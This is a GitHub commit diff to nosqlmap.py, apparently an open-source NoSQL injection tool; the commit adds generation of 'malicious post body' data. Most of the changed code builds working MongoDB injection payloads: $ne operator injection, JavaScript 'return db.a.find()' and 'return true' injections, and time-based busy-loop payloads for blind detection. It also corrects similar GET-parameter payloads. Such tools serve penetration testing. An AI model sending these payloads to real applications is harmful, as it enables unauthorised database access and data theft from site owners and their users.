Skip to content

Commit fbaba4e

Browse files
committed
Finished malicious post body generation, fixed two integer injection bugs
1 parent 34714ef commit fbaba4e

File tree

1 file changed

+59
-35
lines changed

1 file changed

+59
-35
lines changed

nosqlmap.py

Lines changed: 59 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@
2828
import gridfs
2929
import ipcalc
3030
import signal
31+
import ast
3132
from hashlib import md5
3233

3334
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
@@ -491,7 +492,7 @@ def netAttacks(target):
491492

492493

493494
def postApps():
494-
print "Web App Attacks"
495+
print "Web App Attacks (POST)"
495496
print "==============="
496497
paramName = []
497498
paramValue = []
@@ -547,9 +548,12 @@ def postApps():
547548

548549
#Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
549550
#Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
550-
randomUri = buildUri(appURL,injectString)
551-
print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
552-
randLength = int(len(urllib.urlopen(randomUri).read()))
551+
randomPost = buildPostData(postData,injectString)
552+
print "Checking random injected parameter HTTP response size sending " + str(randomPost) +"...\n"
553+
554+
body = urllib.urlencode(randomPost)
555+
req = urllib2.Request(appURL,body)
556+
randLength = int(len(urllib.urlopen(req).read()))
553557
print "Got response length of " + str(randLength) + "."
554558

555559
randNormDelta = abs(normLength - randLength)
@@ -816,7 +820,7 @@ def postApps():
816820
return()
817821

818822
def webApps():
819-
print "Web App Attacks"
823+
print "Web App Attacks (GET)"
820824
print "==============="
821825
paramName = []
822826
paramValue = []
@@ -1133,14 +1137,12 @@ def webApps():
11331137
raw_input("Press enter to continue...")
11341138
return()
11351139

1136-
def webDBAttacks(trueLen):
1137-
nameLen = 0
1138-
injTestLen = 0
1139-
getDBName = raw_input("Get database name (y/n)? ")
1140-
1141-
if getDBName == "y" or getDBName == "Y":
1142-
while injTestLen != trueLen:
1143-
testUri = uriArray[16].split("---")
1140+
#def webDBAttacks(trueLen):
1141+
# injTestLen = 0
1142+
# getDBName = raw_input("Get database name (y/n)? ")
1143+
# if getDBName == "y" or getDBName == "Y":
1144+
# while injTestLen != trueLen:
1145+
# testUri = uriArray[16].split("---")
11441146

11451147

11461148

@@ -1241,7 +1243,7 @@ def buildUri(origUri, randValue):
12411243
uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
12421244
uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
12431245
uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
1244-
uriArray[5] += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&"
1246+
uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&"
12451247
uriArray[6] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
12461248
uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
12471249
uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
@@ -1278,29 +1280,16 @@ def buildUri(origUri, randValue):
12781280
x += 1
12791281

12801282
#Clip the extra & off the end of the URL
1281-
uriArray[0]= uriArray[0][:-1]
1282-
uriArray[1] = uriArray[1][:-1]
1283-
uriArray[2] = uriArray[2][:-1]
1284-
uriArray[3] = uriArray[3][:-1]
1285-
uriArray[4] = uriArray[4][:-1]
1286-
uriArray[5] = uriArray[5][:-1]
1287-
uriArray[6] = uriArray[6][:-1]
1288-
uriArray[7] = uriArray[7][:-1]
1289-
uriArray[8] = uriArray[8][:-1]
1290-
uriArray[9] = uriArray[9][:-1]
1291-
uriArray[10] = uriArray[10][:-1]
1292-
uriArray[11] = uriArray[11][:-1]
1293-
uriArray[12] = uriArray[12][:-1]
1294-
uriArray[13] = uriArray[13][:-1]
1295-
uriArray[14] = uriArray[14][:-1]
1296-
uriArray[15] = uriArray[15][:-1]
1297-
uriArray[16] = uriArray[16][:-1]
1298-
uriArray[17] = uriArray[17][:-1]
1283+
x = 0
1284+
while x <= 17:
1285+
uriArray[x]= uriArray[x][:-1]
1286+
x += 1
1287+
12991288
return uriArray[0]
13001289

1301-
def buildPostData(body):
1302-
global bodyArray
1303-
bodyArray = ["","","","","","","","","","","","","","","","","",""]
1290+
def buildPostData(body,randValue):
1291+
global bodyList
1292+
bodyList = []
13041293
injOpt = ""
13051294

13061295
#Split the string between the path and parameters, and then split each parameter
@@ -1319,6 +1308,41 @@ def buildPostData(body):
13191308
except:
13201309
raw_input("Something went wrong. Press enter to return to the main menu...")
13211310
mainMenu()
1311+
x = 0
1312+
while x <= 18:
1313+
bodyList.append(body)
1314+
x += 1
1315+
1316+
bodyList[0].update({injOpt,randValue})
1317+
#gotta change the key name to include the not equals
1318+
tempStr = str(bodyList[1])
1319+
tempStr = tempStr.replace(injOpt, injOpt + "[$ne]")
1320+
tempDict = ast.literal_eval(tempStr)
1321+
del bodyList[1]
1322+
bodyList.insert(1, tempDict)
1323+
bodyList[2].update({injOpt : "a'; return db.a.find(); var dummy='!"})
1324+
bodyList[3].update({injOpt : "=1; return db.a.find(); var dummy=1"})
1325+
bodyList[4].update({injOpt : "=a'; return db.a.findOne(); var dummy='!"})
1326+
bodyList[5].update({injOpt : "=1; return db.a.findOne(); var dummy=1"})
1327+
bodyList[6].update({injOpt : "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"})
1328+
bodyList[7].update({injOpt : "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
1329+
bodyList[8].update({injOpt : "=a'; return this.a != '" + randValue + "'; var dummy='!"})
1330+
bodyList[9].update({injOpt : "=1; return this.a !=" + randValue + "; var dummy=1"})
1331+
bodyList[10].update({injOpt : "=a\"; return db.a.find(); var dummy=\"!"})
1332+
bodyList[11].update({injOpt : "=a\"; return this.a != '" + randValue + "'; var dummy=\"!"})
1333+
bodyList[12].update({injOpt :"=a\"; return db.a.findOne(); var dummy=\"!"})
1334+
bodyList[13].update({injOpt : "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!"} )
1335+
bodyList[14].update({injOpt : "a'; return true; var dum=a"})
1336+
bodyList[15].update({injOpt : "1; return true; var dum=2"})
1337+
bodyList[16].update({injOpt : "=a\'; ---"})
1338+
bodyList[17].update({injOpt : "=1; ---"})
1339+
1340+
return bodyList[0]
1341+
1342+
1343+
1344+
1345+
13221346

13231347

13241348

0 commit comments

Comments
 (0)